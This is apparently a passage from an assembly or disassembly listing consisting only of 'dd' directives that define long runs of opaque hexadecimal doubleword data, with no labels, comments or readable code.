		dd 4383EC9Bh, 0E2CB559Dh, 0BC69400Bh, 824C01Ah,	14B74AC8h
		dd 861004ECh, 9C2384Fh,	0FBBCA626h, 2ACAD018h, 0CF3C3A10h
		dd 0C821A001h, 28E9105Ah, 38530844h, 0D10A98BBh, 0BA04E1DDh
		dd 4154F62Bh, 52DA50E1h, 86752408h, 98FB18DAh, 7A4ADC67h
		dd 60C11487h, 2E0357A3h, 0ACED3909h, 1D32C21Eh,	81AE119Ch
		dd 0C6EB69C1h, 27341CE4h, 6CF28C3Bh, 843C3225h,	0FCA45D24h
		dd 0F45E262h, 0D071BB20h, 0E6ABD5C0h, 5A008CB7h, 40782576h
		dd 0EE0535E5h, 0DE423186h, 29AFEDD9h, 60C40428h, 21AA2187h
		dd 0A44B226Ch, 4674C429h, 0C35B00BAh, 0D3936159h, 5F6702D6h
		dd 0F301451h, 0B1079040h, 40295D3Ah, 0D6A0B468h, 0EA031372h
		dd 0AE05FFB5h, 5D5F315h, 0C98AEF21h, 5324C426h,	0E8F8E8BCh
		dd 249E9545h, 0B87B6402h, 7D56EECFh, 0A8FAF4B0h, 0C7E68B0Eh
		dd 5A7B676Ah, 0D6ED8600h, 9381C406h, 1053FE53h,	3D913801h
		dd 5452E896h, 7C6CFE45h, 1D004F46h, 0D5ED9A18h,	0B4136B3Ch
		dd 0D8CE8286h, 20C9B4C8h, 8D447BF9h, 0D04D06EAh, 70DCA0ACh
		dd 0FA6AD912h, 89B854E9h, 3772639h, 9193BB4Eh, 433AD0E1h
		dd 7044480Ch, 0A3CCFC01h, 80D9D2EDh, 0DD64C459h, 4CB07EDCh
		dd 5CB8ACE9h, 1966C500h, 6469E026h, 4938006Fh, 4C5743A5h
		dd 0B000B278h, 2E63EE1Dh, 327EF91h, 6DEBA3E0h, 10A66419h
		dd 0C3594900h, 7C5E0382h, 2FE41DE5h, 21901862h,	0C33F61ABh
		dd 190209FFh, 0D70FE1h,	1BC05BA9h, 6F47881h, 3D2E0B5h
		dd 7002102h, 954F2584h,	1DEFC06Ch, 3046A4A8h, 0CC5AEBA9h
		dd 0A33A2703h, 0D8C786ACh, 5D1E1h, 7D1E9F57h, 0A5586F47h
		dd 9D498900h, 8196181Bh, 0E0B614F9h, 878034D7h,	94954C25h
		dd 1322C143h, 27CF5900h, 0C6E3771h, 19106005h, 0CA4DB762h
		dd 83E17000h, 0C1A32F7Dh, 236E3FB2h, 1194F968h,	0C3568054h
		dd 0F586038Dh, 0A0884D0Ch, 0CAC3005Eh, 196578D5h, 0DF3CD8D0h
		dd 9B4D0158h, 6AEBBE3Bh, 84C2848h, 0F60387C3h, 0A24095C4h
		dd 1D8BC354h, 0F11C100h, 18E72598h, 28890A67h, 81E882CAh
		dd 38640B69h, 832A88Eh,	220C6A49h, 6C310017h, 0CB185938h
		dd 0C0007B7Eh, 84033612h, 0A5BD1ACFh, 6191644Ch, 0E8FBC573h
		dd 1C11E81h, 259AD69Dh,	0BE666411h, 7A750329h, 0B5A39949h
		dd 0E696D840h, 0C0180515h, 1DD39411h, 0B0189822h, 91B12B3Dh
		dd 7E410056h, 49C8D7C1h, 1C1F97DEh, 0AD49A514h,	0E4080148h
		dd 0F1C05EF7h, 89A80C67h, 2E18922Dh, 971C40A0h,	0E5063B77h
		dd 7B49A9ECh, 178E0320h, 67F02705h, 0E78928F8h,	10114E35h
		dd 65934000h, 0C0FB385Bh, 0D2C027A0h, 8E0650B0h, 76020FA0h
		dd 6ADE3709h, 0B0DAB020h, 8902C74Ah, 23651A8Fh,	8ACCA0F1h
		dd 9EB450h, 97558044h, 1CFE360Dh, 0F909A901h, 61222599h
		dd 8C6E0C20h, 83C35802h, 167C5603h, 0C360A600h,	0ED629EDh
		dd 1C6600C0h, 4AAF2EC1h, 466C7B37h, 0FBB51681h,	8001CC55h
		dd 4E9189ABh, 74728445h
		dd 0C3533077h, 2E1DC808h, 544E6462h, 0F3C338FDh, 1103BF90h
		dd 1968B32Ah, 28210061h, 0CFD44D80h, 8A077554h,	0FE37BBFFh
		dd 92C3A850h, 0B0555665h, 0A2B08807h, 0C2C43889h, 0DED0BE47h
		dd 10DDECE3h, 6F37FDF8h, 2B08F502h, 0E2F40302h,	401CA3B8h
		dd 39A9B8Ch, 0D0329FE0h, 6900F735h, 80361F3h, 0E8F6FA77h
		dd 74FD488Ah, 0E1F13E01h, 22BE497Bh, 3090F2F8h,	5376E273h
		dd 2E24CFE8h, 42024817h, 90E9ACh, 37D37E96h, 0EAD27814h
		dd 1E39DB8h, 1C99C352h,	97F85866h, 35AA488h, 73247DC3h
		dd 0D140FF85h, 48C61A4h, 8E66B08Ch, 14F563D0h, 0B4D4BA21h
		dd 16F77306h, 82ECA861h, 8564310Ah, 3904A79Bh, 4C80F321h
		dd 26981E05h, 8798CCA5h, 0B4337CB9h, 2FDC9114h,	0EAF0EBA1h
		dd 0C53CC939h, 0EE2A8247h, 0AA576412h, 465C6C74h, 6D6A004Dh
		dd 8548BBBDh, 7E8C038Fh, 0E1713903h, 8A019804h,	0A4852943h
		dd 97235C3Ah, 3DD16500h, 0C9FF559Bh, 0A8848E49h, 3BA060CEh
		dd 0B4A2108Ah, 9E1EC8C4h, 0D4384065h, 4A72367Bh, 208161C6h
		dd 11800021h, 410FA1B8h, 8D7146C7h, 4AEE88B0h, 0CB9C8800h
		dd 7D2F89C8h, 4CC4A01Ch, 238017Bh, 76AD33ABh, 9A488523h
		dd 0B84717A5h, 0BAF47580h, 0BD3CA481h, 0CBB8A9B2h, 8386530h
		dd 0C56CA28Dh, 30401564h, 61BA386Dh, 1F898D1Fh,	0A0400D93h
		dd 0A11D80E8h, 0B4F55069h, 650616A6h, 165C1F4Ah, 0D9BC08D2h
		dd 5227C9C0h, 46A42195h, 67001091h, 0C8C227B1h,	0BD039CA0h
		dd 0F6E73C6Dh, 1A700675h, 0C0484933h, 6B2DB546h, 0BC8A915Ah
		dd 2E0770CEh, 5A453853h, 7D947FE1h, 21D81F4h, 1E91C9B0h
		dd 20E353AAh, 2F71A180h, 18106159h, 1CB81FDBh, 0A0814883h
		dd 8DC35AC8h, 0D88ED1B0h, 68400C18h, 0B0D500B1h, 0E410A94h
		dd 98546011h, 850089FCh, 0F9FC3E9Dh, 0EC8B70C2h, 0D3910F29h
		dd 9BE999A2h, 69840481h, 6448CAA5h, 0C0997211h,	0C9491C1Eh
		dd 89D4A4DAh, 506A6888h, 0F0B41835h, 7BC0ACDBh,	95583E83h
		dd 2B22C6h, 0D27CB5Dh, 65E7BE82h, 4A114009h, 0BDA0222Dh
		dd 0FC972937h, 5F804D11h, 0BB1CF776h, 0F30B8904h, 58903C88h
		dd 0AC2F69h, 52DC189Eh,	0EEAB0743h, 395B421Dh, 0C66A5C01h
		dd 894035F6h, 26D3A8F0h, 74642DBFh, 64910D90h, 0D0CFC180h
		dd 24D81585h, 251F18h, 11EE991Eh, 3F142594h, 88F46C74h
		dd 0B08FC060h, 88468E6Bh, 0BB010A22h, 0E37EB0D7h, 0D9801D23h
		dd 0E924F7D1h, 19E06614h, 3CFE4Ch, 0D3493935h, 139599F1h
		dd 0B22EB75h, 48103C28h, 0E300B79Dh, 0BE86CF7Ch, 129BC3BDh
		dd 57EE3D31h, 0D09C0878h, 592582C0h, 0C19C2195h, 44002F91h
		dd 568927CAh, 3A329236h, 4137D2BAh, 9E18D4D0h, 95552608h
		dd 402CC4BCh, 4B268668h, 748300BFh, 8BDA55F2h, 813E5396h
		dd 0CEC1E03Ch, 2C776Fh,	0D261E515h, 0E6895B23h,	27B5AC1Eh
		dd 7C002896h, 6591516Ch, 0CC234C53h, 4DC06988h,	0FD0386C3h
		dd 104819EAh, 48C355A7h, 5C00471Ch, 623DDB74h, 0AD00B83Ah
		dd 25BAC580h, 487C32C1h, 1F090C68h, 0EC021671h,	0F840789Bh
		dd 0F4A7B703h, 0C1610944h, 64AEF8E3h, 372B9F0Ch, 221C48CAh
		dd 2AEAE49Eh, 18D43235h, 3381330Eh, 386F5830h, 5CA210B3h
		dd 8018C8C5h, 8A38772Ah, 0D2009516h, 0E65E739Fh, 0ECA6D02h
		dd 99A6EBD1h, 18230681h, 0F18C7293h, 1D0C6809h,	931C150Bh
		dd 42EC00DAh, 1367F02Ch, 0FE5C070h, 0ED803A80h,	6E26BA9Bh
		dd 7178AB12h, 73C844CBh, 0F0D5CFC3h, 439B8F9h, 0F32D95E1h
		dd 4024C9BAh, 0B19E7C64h, 84D4F058h, 1E011673h,	34FFCDC1h
		dd 0C484717Ch, 0F73918h, 3F0C4D9Bh, 0D9ECB113h,	10E1873h
		dd 7E50984Ah, 4835920Bh, 3760EF94h, 1E7DE642h, 65731DCDh
		dd 980B0C3Eh, 0BCB248A8h, 1271E771h, 0D3C9A0A3h, 3FC442FDh
		dd 8D279848h, 7A2606EEh, 0B4133005h, 5BC0789Ah,	0F454D44Eh
		dd 70147F70h, 1330821Ch, 1C271AF7h, 83FB9DC2h, 0C1ECF20Ch
		dd 87E2D72Dh, 90BB59B8h, 81F1BB10h, 0F21062B5h,	29403010h
		dd 55665C09h, 7C7901ABh, 0A430F6B8h, 0CCFA5075h, 500BFC95h
		dd 30E4E427h, 607128D0h, 81EF7F7Ah, 37D89E18h, 0FC753965h
		dd 0B8A72C33h, 0D91D66C0h, 92960268h, 4CAC170h,	9AE18C40h
		dd 4C446F3Ah, 8C10F898h, 0F04F7D00h, 9E882577h,	0EDEC042Bh
		dd 0B3EA2A29h, 3095B280h, 34A8B04h, 54A38840h, 5998B7h
		dd 8D55014Ah, 46782AF7h, 141AF415h, 0C00226ECh,	5A62840h
		dd 748700F7h, 50CCF956h, 40004166h, 0EE16F899h,	4A3E4691h
		dd 0D9C80155h, 21D1D665h, 0E4540090h, 7B06AFCCh, 823F20A5h
		dd 0DCB09419h, 9E84CE03h, 0FF4C7C39h, 656760AEh, 0B8C3FD36h
		dd 93C00E4Ch, 11782FFh,	0B3E61E4h, 4489AE66h, 6E80B011h
		dd 44A28C38h, 2B14448Ch, 57387600h, 6EB74A8Bh, 0E9E1179Dh
		dd 44941F61h, 0C002EC45h, 39C84C0h, 582EBD5Ah, 0C1014D23h
		dd 0F4175120h, 86BCC0h,	0CA6A87F0h, 0C27430E0h,	712CE448h
		dd 0C4A0A586h, 6C196114h, 74754060h, 52A0077h, 956987E8h
		dd 789AFDD5h, 667321h, 8ACAB77Dh, 6207C285h, 91AB3D81h
		dd 54E25B84h, 780D1400h, 6DBF5233h, 0E400F17Eh,	0C59D3CCDh
		dd 1573B8F4h, 0F08E096Ah, 39F22018h, 0AFF8A460h, 79972900h
		dd 3BD0C2B1h, 9D183028h, 8D65DB81h, 9A4F2C01h, 9548F3E9h
		dd 403FF020h, 5018A21h,	9E7A2957h, 503CE4D1h, 97B8E8D4h
		dd 6DC00A8Eh, 21C7D37h,	0F145A11Ch, 1F2D2C68h, 139A2440h
		dd 0CB92D035h, 0C0C388BCh, 0D763CC80h, 613BF214h, 147B4CACh
		dd 0D2EC1A39h, 29C85C8Ah, 0D17D88C0h, 0DDB31E1Fh, 0B497A518h
		dd 27961491h, 3D7702FCh, 6170D873h, 22E7108Eh, 0EE48121Eh
		dd 300F06Fh, 709BF005h,	7401214Eh, 0C11C1E77h, 3E01DAF5h
		dd 0DA51A6FEh, 0BA63FC02h, 9A8E0B9h, 0EE1E8068h, 0D794300h
		dd 0B54690C8h, 474D038Bh, 62161DB1h, 29AAE1F8h,	0EC09A0B0h
		dd 46AB589h, 9CC819E8h,	0CB4C0082h, 0C37CBE09h,	0C0001CC7h
		dd 6DEC3637h, 5E29BCEh,	5B6A0DDCh, 8F7482BFh, 0A720DCD3h
		dd 0DC202C5Ah, 431952F7h, 0E82B4AF1h, 0C269F510h, 67BA0410h
		dd 60194460h, 0AD4B21h,	4FF0C96Ch, 0B79F2F4h, 709A960Bh
		dd 0D9CC1A3Fh, 18265958h, 78DB70A6h, 5EAE0DEh, 0E5E1A531h
		dd 70840F63h, 48881F00h, 8D2EC11Dh, 84146409h, 0F8004CE0h
		dd 38008CCDh, 33F28E8Ah, 1A9F9D7h, 0AB2573F0h, 844429C1h
		dd 0EE3C3678h, 2588A88Eh, 0BE31ABC0h, 90671CCh,	0DD710362h
		dd 2FB81440h, 0D8020524h, 0F860AD43h, 6EF69Ch, 0B14B0C12h
		dd 9994ED20h, 84886260h, 0E695D37Dh, 4F209A6Fh,	0E06ED1h
		dd 71BA67E7h, 208483Ah,	9E1F52D0h, 1C7164F2h, 0FD60B4DBh
		dd 0A872891Ch, 0B07F0130h, 9EA6F1D0h, 6851244h,	89275373h
		dd 1DC2894h, 73D2B35h, 0CC4421F2h, 3006A887h, 28AAE5F9h
		dd 405E46B8h, 0B8E6A1FDh, 0A5C21099h, 0B51040D1h, 17040055h
		dd 0EF5F143h, 66002E0Ah, 0A87296F3h, 150DA3D8h,	9062981Fh
		dd 0EC017058h, 74337CBAh, 0A1A864DCh, 0F0C2FCA8h, 292FFD02h
		dd 0F0E517E7h, 23990B0h, 8B108DE2h, 90A04DC5h, 0EABDAC27h
		dd 35B9302h, 60EF8F6Ah,	9EBFA800h, 0D0988FDCh, 142E93B0h
		dd 0D11CC223h, 0A1C88ACEh, 32AF8455h, 0BC1E23FCh, 45C1421Ch
		dd 40247002h, 809A75B8h, 262DF1D8h, 0C3940015h,	0BE880C73h
		dd 13465CC0h, 8360C100h
		dd 821CF7EDh, 73C1FA60h, 9215096Eh, 0F0B0080h, 0D4C80626h
		dd 0C21CBCD1h, 9D892171h, 0EFD481DBh, 2460A15Dh, 47F288FDh
		dd 0B049BD00h, 0ED4D2439h, 0E0070F7Ah, 0F126030Ah, 0A13F38D7h
		dd 1788AD73h, 801211B8h, 1CE3F27Eh, 9882482Bh, 0D1AE5901h
		dd 51CEC8F1h, 32C16A8Ch, 613110F8h, 42E0F70Dh, 0C9884169h
		dd 0E7E40049h, 809D8A5Eh, 88811E11h, 2D55274Fh,	0D42F5F88h
		dd 0C8004C23h, 0A5695093h, 3D34B397h, 70186BDAh, 0C1035F13h
		dd 0A0B62C90h, 0BD3626E7h, 0F7268174h, 8128ABE5h, 0A9C170C8h
		dd 702D1B7Ch, 9640F33Eh, 10832D13h, 956A6C05h, 0F83F200Ah
		dd 0A0885C40h, 32B887h,	0BC4090A7h, 9D311CE9h, 6437AB09h
		dd 716C621Fh, 189579C4h, 0A1031FE1h, 0F479F2F5h, 2F0E5B20h
		dd 98C4872h, 0BB5DB300h, 0CE9E9F7Bh, 0B1FE170Eh, 725E80AFh
		dd 0AA52711Fh, 38B7F0h,	98721870h, 37278105h, 3918907Eh
		dd 0B00E501Dh, 0E49F0169h, 8AE73E04h, 4C452E33h, 18217D12h
		dd 1000ADDh, 0E57B2916h, 0C0D42A28h, 9F463521h,	9E09A085h
		dd 942A32Dh, 823C012Ch,	0E900675Ch, 30FFA519h, 0C11BA864h
		dd 17409C05h, 0D31A01F0h, 190789FCh, 446F6B3Ch,	5C03A032h
		dd 0E8C98E48h, 5E96F860h, 63007FC8h, 8FD1707Dh,	34AA5B6h
		dd 114ED5DAh, 0D65C4D9Fh, 1C2A4CCCh, 0D640EA10h, 0B81FF337h
		dd 0E0540027h, 0BF66B1DFh, 5B0190B6h, 311E9D84h, 1880A8B2h
		dd 7B4EE91Bh, 5248CEAh,	0A2417097h, 805091A9h, 0D07EE772h
		dd 0CF23D8C1h, 623BA10Fh, 19C54CA2h, 38302F1Fh,	339CBAFEh
		dd 2A504C55h, 26C85A9Bh, 0B8048F34h, 38F2C9A1h,	0A4A90CA0h
		dd 549358BCh, 684309BCh, 0FBD31F02h, 0BCB215C8h, 1DC8856h
		dd 6BE3B227h, 0EE576535h, 8C04FC62h, 0E8461660h, 4A1F1DEh
		dd 8B48DBE0h, 8474D011h, 84B92D21h, 60DB2712h, 0C4034C89h
		dd 40B823CBh, 1498E62Bh, 58D46A70h, 97A11034h, 0CF92AC95h
		dd 0A04380B8h, 793F6447h, 0A46E00C7h, 0CB5B5C3Eh, 0A1014D5Dh
		dd 0C490672h, 11805F81h, 12E86B38h, 450CCDF2h, 885EA57h
		dd 204C6035h, 3CE89323h, 0FB3FA500h, 3018D9A8h,	0EB5B03A7h
		dd 642D71BFh, 4D5872F0h, 0A02E4100h, 3CFDDA6Eh,	1D221D48h
		dd 7356083Dh, 0A0266600h, 1DEE872h, 606EE161h, 0E05B5D5Fh
		dd 9CB0F6E5h, 0FA0F6200h, 9C376DDBh, 77D5005Ch,	0B6E8157Fh
		dd 690C6512h, 506C3A47h, 6F8B0FA1h, 0C03FFF97h,	0FC51BCB3h
		dd 52009E3Bh, 0B8180A36h, 0A2CAC0h, 55B2ABA3h, 399D5905h
		dd 40C05774h, 0A073152h, 281C0CE4h, 6509F1A5h, 293261C0h
		dd 3E3B2207h, 4E008AA4h, 1193D10Eh, 0E3000C6Ch,	0FA9A95DEh
		dd 1C6A6282h, 475D1C22h, 0A019AF8Ch, 49812BA1h,	2D58A4A0h
		dd 0F7961000h, 5D3D0DE2h, 37653ACAh, 88213330h,	82009618h
		dd 61DAC2C3h, 55847795h, 80EAD46Bh, 92CE1CA5h, 91240768h
		dd 0AE143945h, 59037EE0h, 0C200E46Dh, 0DEC110F3h, 0A14B72CDh
		dd 0E0DC6AA8h, 5161398Dh, 0A5E12900h, 2F949B36h, 0C9163D07h
		dd 0B240E733h, 0F2EE57FCh, 0A938DC48h, 18305960h, 36980069h
		dd 1A84994Dh, 64242EBEh, 9B87004Fh, 5C07C03h, 140C037h
		dd 0EC1845F4h, 0EFF5D7CEh, 0F7D38298h, 0A8F0348h, 0F85F36DEh
		dd 0CE0DA0Fh, 64A4C05Ch, 824D714Ah, 35302E40h, 0DA6F08A0h
		dd 55643D25h, 0A02D6740h, 1C489CCCh, 62029F88h,	406B88CEh
		dd 12996444h, 429D255Ch, 9B590400h, 0F704184Ch,	2CE41008h
		dd 0E72E7362h, 0DED4072Fh, 0F893E5C1h, 0CEC09DF9h, 0C0A46AB5h
		dd 0C77934BDh, 90DA97BBh, 71A5EC06h, 0CF954003h, 485A3A33h
		dd 0FC075771h, 6F79FA8Eh, 26108C15h, 2F804027h,	0A034048Ch
		dd 622DDA70h, 2C68204Fh, 0D203BBA0h, 0ED6F03B1h, 2BCAA05Dh
		dd 1DE18D1h, 0C1F62958h, 5BA6A20Eh, 26720014h, 7D23415Dh
		dd 5E670050h, 0F9E7DBB1h, 2C9BD104h, 6D801611h,	7DF1F8E8h
		dd 2171608Ch, 1CE8951Dh, 190C2798h, 0C80C6B93h,	17980989h
		dd 3C10E082h, 0E84C036Ch, 24BEDC10h, 0EC04C25h,	21E2F596h
		dd 599135BDh, 96168600h, 0B5A304B7h, 481FED3Ch,	0EC942B98h
		dd 508FC00h, 86A5D4E4h,	1F7044h, 0F9840734h, 0DC039580h
		dd 8120693Ah, 76E06CF4h, 2020653Ch, 482900A0h, 1BFC34BAh
		dd 0E94CF713h, 0B3821D1Ch, 0CDD9F3C1h, 7434435Eh, 882C149Eh
		dd 0A040E44Bh, 94048C11h, 85F229E8h, 9C001838h,	97DB74E8h
		dd 99BF3E9h, 0BA8D529h,	67901003h, 95E49006h, 777042BAh
		dd 9C81009Dh, 5CD9F54Ah, 0CD12F829h, 4C1E2835h,	3B96D704h
		dd 0AC3A2C85h, 6B005023h, 8777E8B6h, 0F33E1C56h, 904468DEh
		dd 29746BCh, 0E40408FBh, 66B8B10Ch, 7332010h, 39854116h
		dd 88254440h, 3CD749A0h, 0CF81E730h, 0DF0DF1ACh, 791B30E0h
		dd 2372F0A1h, 9823DCh, 0E41108F8h, 8085A5F4h, 5707301Bh
		dd 6504E86Ch, 0DA2C9108h, 0F40014DDh, 995C48ECh, 0D944BC14h
		dd 0F516DD16h, 0E0F80418h, 4B5C452Ah, 0C9658834h, 46D00B03h
		dd 42787950h, 9609028Ch, 3765E130h, 8D102E19h, 87009611h
		dd 97493ACh, 0DA626FBh,	0D0E02DEAh, 9F8056Ah, 0AB0234FCh
		dd 8847874Ch, 8E606D44h, 1E00B13Fh, 0D820814Bh,	2A6B6C26h
		dd 90AC5BE2h, 434920DCh, 3B236006h, 0C8408F1Ah,	2C09A70h
		dd 24E40B08h, 58082824h, 707FA31h, 7FA9DEDBh, 88602C85h
		dd 10F6960Fh, 0C83D15E2h, 178B8054h, 0A6F49896h, 46885116h
		dd 30322062h, 6B119FF9h, 568805DAh, 0A02F1B80h,	77970A7Eh
		dd 5E47F0Fh, 0E712339Bh, 234C2ED7h, 7B90033h, 0AF0686E4h
		dd 0DDE92A04h, 0D8855912h, 16F3849h, 0DE6C43A0h, 55DA5C40h
		dd 7637093Dh, 3412348Ch, 31448C47h, 0E2481260h,	4D0BE803h
		dd 99B19D60h, 0DC23646Eh, 60305864h, 23FA9603h,	5711B5E2h
		dd 960B8700h, 0E81A4D14h, 3911DD00h, 6E426267h,	0B04B6004h
		dd 364698DCh, 0DA95DF09h, 0D950AD4Eh, 80FE9C61h, 70B19FDh
		dd 0D174B149h, 0AC184Eh, 0E7553187h, 81C6DD33h,	9B043570h
		dd 6679845Fh, 2F9EEC90h, 0E46100F7h, 498BC622h,	0FAE8E124h
		dd 74CB4C0Ch, 1B035h, 6BBC14EAh, 70B6C519h, 0DE476807h
		dd 58B3B0B8h, 0BA82661h, 0E86EC0E0h, 7546F1F7h,	4C4210h
		dd 0CE89622h, 0EC5CE011h, 2D4B5827h, 70B8505Ch,	0CAC058Ch
		dd 40610108h, 482C8780h, 500B435h, 0EFA413DBh, 194CAF2h
		dd 1F11EAD2h, 5C9212h, 7324B58h, 28B1CD65h, 0CEC9F009h
		dd 230F8377h, 0EADD72E6h, 206D055h, 4C98596Eh, 2D80B439h
		dd 86E7FEEAh, 5C476F2Eh, 76E69A60h, 0F14C0052h,	8EDEB911h
		dd 30246ECBh, 0C30C2C59h, 13672863h, 3EA2D7E2h,	562374h
		dd 1BE4E1FDh, 5004C4B3h, 5C8EE5DAh, 0AACEA093h,	0F2E08141h
		dd 698E4A7Fh, 52A02267h, 6BB460EAh, 71E3C613h, 30F90822h
		dd 0DAECA02Ah, 4B221D46h, 0E2A06AA0h, 0E044D202h, 8C8D4F0Eh
		dd 0EDDCD884h, 300DA9ACh, 0D2241631h, 66B5F700h, 4BE80EA9h
		dd 0E0670272h, 8002FB8Bh, 5091449Dh, 0E62B17C0h, 0F90030C7h
		dd 3827049Bh, 0B35B598Fh, 5CF4248Ch, 2E016F46h,	3A8B405Ah
		dd 4399735h, 0A400A06Eh, 22E3B10Dh, 3174EAC2h, 4E8FAA12h
		dd 0ADC6EC83h, 0D064A052h, 4FB230B2h, 1C02F430h, 1D9081F5h
		dd 0DD0C80B7h, 0A2AEE608h, 48703A5Ch, 8C4FE8FCh, 941F9F74h
		dd 5E018C98h, 5FDC5CF9h, 0F8088054h, 94CD8049h,	0E45C09C5h
		dd 28E98A07h, 4D7257A4h
		dd 913C95C0h, 0D7258049h, 708C45DAh, 0F0E52436h, 4E467410h
		dd 0AAF55705h, 3EB28137h, 70BCF108h, 2C174ED1h,	680C5C97h
		dd 985D131h, 689AD75Bh,	0CDA87480h, 0D4A06241h,	212A5CE9h
		dd 794AEC67h, 54164840h, 768A73Ch, 0E45D7476h, 5CDA9399h
		dd 47C42140h, 7FE93213h, 0A9C38C9Ah, 0AEE023FDh, 41058927h
		dd 59E30EE8h, 8404E801h, 442C4597h, 4C4335ECh, 3D82303Ah
		dd 2492F5FCh, 1CE97B60h, 0CCB4B313h, 82490F1Ch,	8010B77Ah
		dd 0F9C8FA7Dh, 9814E06Eh, 7BA453C9h, 0E8707B48h, 3E028C4Bh
		dd 0B76C2D5Eh, 9618C189h, 809F618h, 4504E40Fh, 2E1580ACh
		dd 0E794B107h, 6E030E14h, 646F24F0h, 0F49C2Eh, 0A09B237Ah
		dd 0E9D0E7F6h, 0D3821200h, 9FDE04F8h, 79EC997Fh, 3A661833h
		dd 9B00BC0Dh, 0CDE3A6F6h, 0A804E46h, 0F256263Ah, 0C06A1818h
		dd 6D2598DAh, 0F46C0032h, 0B9AFF87h, 0B13E6CA3h, 5511CC9Dh
		dd 5C496680h, 0D815AAC7h, 88613Ah, 234F577Ch, 259C2868h
		dd 10A08117h, 3C2E04BBh, 3090A248h, 6BF83159h, 310F123Ah
		dd 237C3AF0h, 5C0A0059h, 0B75B8A6Ch, 0E781649h,	0D899D5A2h
		dd 42FE0F1h, 0F322ED73h, 0A290E382h, 4F03356h, 0D30E0DBh
		dd 2BCA592Eh, 0B9CC1705h, 959C0FA1h, 0C8087FE6h, 4022F46h
		dd 0ADE2FB96h, 84003094h, 74B8960Ch, 1657D054h,	9079AF66h
		dd 0D2581A6Ch, 36F46700h, 2F0C4F3Fh, 7CC8024Eh,	0E4833AA9h
		dd 0F00D852h, 6BCEA462h, 0E9FF04h, 14EFA703h, 97DC5469h
		dd 65C1CB2h, 436DBCC4h,	6B7B0D4Dh, 54F069E0h, 7FB029D1h
		dd 183279A4h, 255A1764h, 0F87E144Fh, 12379D10h,	0E8C84397h
		dd 0A048C41h, 1DE20196h, 8A07048Eh, 0B9719612h,	0CC424468h
		dd 835A3Dh, 160A33E4h, 0A82195h, 0A72ED1C7h, 0EE0B2064h
		dd 0DD208C90h, 0E0FC0146h, 29FDF29h, 0F3498054h, 1CC252EFh
		dd 94400026h, 0F8DFB32h, 0A909A534h, 9704A601h,	806E9130h
		dd 1B1A63E7h, 0F4D8F54Fh, 0CDE41D14h, 5E0E4CAh,	0E27C2C67h
		dd 4D6DF144h, 4716910Ch, 806EC014h, 0A1F52400h,	13672A64h
		dd 225CE802h, 737288DEh, 0EF947004h, 7A0B8C90h,	90E482C3h
		dd 337E05Ch, 0D95CB13Fh, 0C0466A21h, 297CF0A4h,	0E3EFAB7h
		dd 0F1D68E1Eh, 2F01EA0Fh, 3C44A258h, 8C31F810h,	787EA5E8h
		dd 8B0FC100h, 0A29D6D89h, 3ACD20EDh, 0E2C8FB00h, 0F0F9E771h
		dd 0C76B15A9h, 0A059905Ah, 0B900CABCh, 0AE923FF0h, 2189C25h
		dd 0E302D503h, 48C0B4DDh, 2B807237h, 5448BA9Dh,	125788E2h
		dd 145F22EEh, 0A2CF8420h, 674BF883h, 0DAC10DD8h, 0AE1EF200h
		dd 4CCC195Ch, 0AF2501EFh, 81C648F5h, 0F00B10A5h, 98C00165h
		dd 0F295DE10h, 40588544h, 54A203E8h, 663065E2h,	3815188Ah
		dd 0DB5C9859h, 20BC2676h, 6D4676h, 5E87050Dh, 963931h
		dd 3352E843h, 36E0CEE1h, 0F95B5C00h, 7A32B46Bh,	909262h
		dd 0EFECB1A0h, 97BC6441h, 8CEBF12Eh, 0A4C4B08h,	37A15B2Fh
		dd 17AF089h, 394C81C5h,	91B1137Dh, 0D1DDD820h, 0BC27008Eh
		dd 0F3DC2DF0h, 0DFE2D7E9h, 8CED7B00h, 7F45DDA6h, 486E1843h
		dd 9FE49038h, 0DE89E000h, 4427058Fh, 725D675Eh,	0A958575Ah
		dd 6F918017h, 53AA6C81h, 2A080F0h, 4E9834CAh, 59249CC9h
		dd 0D403DDDh, 81386E60h, 0F996DEDCh, 887C8C61h,	0CE196B32h
		dd 925F0210h, 918B0028h, 10B1548Ah, 2DB8206Ch, 3FDDCE12h
		dd 7F14BC02h, 4B8C508Dh, 2824484Ch, 0D1A02BC3h,	0D42C15DAh
		dd 0A04361B0h, 2B907DECh, 0DB2EA00h, 0D86EE18Eh, 398C764h
		dd 8D39A091h, 543EE5C9h, 0F1F054DEh, 6F46AE12h,	0EDF29002h
		dd 13C850FDh, 60184907h, 2EE86FA4h, 0C06DF221h,	9DE8971Fh
		dd 66DD510Ch, 9439506Ch, 92C98010h, 415BCBC8h, 819A500h
		dd 8FF3837Dh, 78E101EFh, 0C3E3FDEAh, 72BC5084h,	59073D80h
		dd 0E921BF0Fh, 1967C6h,	0A8884B57h, 0EB7610DEh,	0C3B79200h
		dd 0B4FC9C12h, 67720452h, 0A82FEDE3h, 7D5F8110h, 2EC8E695h
		dd 0B9FA56h, 8BF6A33Ch,	0B6DDF00Eh, 0A4E2822Ch,	0C8D64240h
		dd 0F89CA062h, 0C084AD06h, 1ADEF25Fh, 2226740h,	0FB88059Ah
		dd 50C50704h, 1B4C42E2h, 0CF4BC0B5h, 644A229Ch,	97C13C90h
		dd 0D3F90029h, 2621B64Bh, 39007C72h, 576D012Eh,	7C24B453h
		dd 5E4830E1h, 2CA391D1h, 0D1D7376h, 0BBC710Ch, 1029CE0h
		dd 4D5C7F30h, 2EF22873h, 0F0A4A833h, 360202E4h,	564B90EDh
		dd 0FD02D0E2h, 9C780876h, 0F9E8010Bh, 618E8BDEh, 6B2E071Ch
		dd 16A00020h, 0DCAE9B5Bh, 0FE6E2669h, 648F09F8h, 0B3BBA407h
		dd 3B8EE8Ah, 0F938379Ch, 0E0991EA7h, 657FE8CBh,	6054C440h
		dd 480CFA82h, 6E4B0C86h, 1E3C1C98h, 6834FD01h, 7BF5DFFAh
		dd 2F2A1061h, 2E238Ch, 0C112F6Fh, 2D026C16h, 3A1FB1E1h
		dd 6D886864h, 0B5A63C28h, 2DFD2280h, 0D6E2D9F2h, 0F8403826h
		dd 0F60A00A4h, 0C820985Ah, 554BBF03h, 0C7B6F261h, 98EC185Dh
		dd 3BB8BC4Dh, 12A70900h, 2FAA1003h, 0DE7008B8h,	2B503F63h
		dd 0B860100Ah, 3431238h, 0ECE52C0Fh, 52594829h,	2A02F840h
		dd 0A6CE95DFh, 37953058h, 986D808Ch, 938911C0h,	0DA4A1F02h
		dd 33A65B8h, 0E1CCD75Ch, 0B98C2D48h, 81145A42h,	68703688h
		dd 5A6111h, 3E89AEE6h, 8486FE2h, 0EA8C56E8h, 0DF8225D5h
